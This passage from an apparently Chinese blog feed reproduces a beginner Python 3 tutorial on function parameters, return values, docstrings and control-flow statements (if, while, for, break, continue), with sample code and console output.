        count +=number

    for key in keywords:

        count += keywords[key]

    return count

print(total(10,1,2,3,vegetables=50,fruits=100))

运行输出：

>>>

166

当我们声明一个带星号的参数如*param，那么从这一个参数到结束的参数被收集成一个list，称为param。同样，当我们声明一个带双星号的参数如**param，那么从这个参数到结束的参数被收集成一个字典，称为param。

在后面的章节会讲list和dictionary的知识。
只能用关键字赋值的参数

如果你想指定某个参数只能通过关键字赋值，而不能靠位置来赋值，你可以声明这个参数为带星号的参数。

def total(initial=5,*numbers,vegetables):

    count=initial

    for number in numbers:

        count +=number

    count +=vegetables

    return count

print(total(10,1,2,3,vegetables=50))

print(total(10,1,2,3))

运行输出：

>>>

66

Traceback (most recent call last):

File "C:/Python30/mywork/func1.py", line 8, in

    print(total(10,1,2,3))

TypeError: total() needs keyword-only argument vegetables

注意：Keyword-only参数后面的参数必须指定默认值。
return 语句

return语句用来从函数中返回，比如跳出函数，返回值是可选的。

def maxium(x,y):

    if x>y:

        return x

    else:

        return y

print(maxium(2,3))

运行输出：

>>>

3

return不带返回值相当于return None。每个函数最后都隐式的包含return None语句，除非你写了自己的return语句。

def someFunction():

    pass

print(someFunction())

运行输出：

>>>

None

pass表示空的代码块。内建函数max能够完成找到最大的功能。
文档字符串

Python有一个极好的特性——文档字符串DocStrings。

def printMax(x,y):

    '''Prints the maxium of two numbers.

    The two values must be integers.'''

    x=int(x)

    y=int(y)

    if x>y:

        print(x,'is maxium')

    else:

        print(y,'is maxium')

printMax(3,5)

print(printMax.__doc__)

运行输出：

>>>

5 is maxium

Prints the maxium of two numbers.

The two values must be integers.

函数逻辑行的第一行的字符串就是该函数的文档字符串，模块和类中都有文档字符串的应用。文档字符串的传统是第一行首字母大写并以点结束，第二行为空，第三行为详细介绍。使用__doc__属性可以得到文档字符串。Help函数就是读取函数的文档字符串并显示出来。我强烈建议大家写程序时遵守文档字符串传统。
注解

函数的另一高级特性是注解，在这里可以很好的了解参数和返回值。如需详细了解注解请参考Python Enhancement Proposal No. 3107 (http://www.python.org/dev/ peps/pep-3107/ ) ]]> http://hacklu.net/blog/post/766/ 樱花浪子 <> Tue, 09 Jun 2009 12:04:17 +0000 http://hacklu.net/blog/post/766/
当你的选择不同时，程序的流程也就不同，这是靠控制流来实现的。Python有三种控制流语句：if，for 和while
if

如果条件为真，则执行一块代码，否则执行另一块代码。else块是可选的。

number=23

guess=int(input('Enter an integer:'))

if guess == number:

    print('Congratulations, you guessed it.')

    print('(but you do not win any prize!)')

elif guess<number:

    print('No, it is a little higher than that')

else:

    print('No, it is a little lower than that')

print('Done')

运行输出

>>>

Enter an integer:10

No, it is a little higher than that

Done

>>>
While

只要条件为真就重复执行某块代码，也可以带有else块。

number=23

running =True

while running:

    guess=int(input('Enter an integer:'))

    if guess == number:

        print('Congratulations, you guessed it.')

        print('(but you do not win any prize!)')

        running = False

    elif guess<number:

        print('No, it is a little higher than that')

    else:

        print('No, it is a little lower than that')

else:

    print('The while loop is over!')

print('Done')

运行输出：

>>>

Enter an integer:10

No, it is a little higher than that

Enter an integer:20

No, it is a little higher than that

Enter an integer:30

No, it is a little lower than that

Enter an integer:25

No, it is a little lower than that

Enter an integer:24

No, it is a little lower than that

Enter an integer:23

Congratulations, you guessed it.

(but you do not win any prize!)
for

for…in语句表示迭代序列中的每一个元素，该序列必须是有序的。

for i in range(1,5):

    print(i)

else:

　　print('The loop is over')

运行输出：

>>>

1

2

3

4

The loop is over
break

break语句用来跳出循环，如果跳出的是for或者while循环，那么相关的else块也不会被执行。

while True:

    s=(input('Enter something:'))

    if (s=='quit') or (s=='exit'):

        break

    print('Length of the string is ', len(s))

    print('缩进测试')

print('Done')

运行输出：

>>>    

Enter something:hello

Length of the string is 5

缩进测试

Enter something:exit

Done

while True:

    s=(input('Enter something:'))

    if (s=='quit') or (s=='exit'):

        break

    print('Length of the string is ', len(s))

print('缩进测试')

print('Done')

运行输出：

>>>

Enter something:hello

Length of the string is 5

Enter something:quit

缩进测试

Done

说明while循环仅靠缩进改变来结束，以后要小心。
continue

continue语句用来跳出本次循环，进入下次循环迭代。

while True:

    s=(input('Enter something:'))

    if (s=='quit') or (s=='exit'):

        break

   if len(s) < 3:

        print('Too small')

        continue

    print('Input is of sufficient length')

print('Done')

运行输出：

>>>

Enter something:he

Too small

Enter something:hello

Input is of sufficient length

Enter something:exit

Done ]]>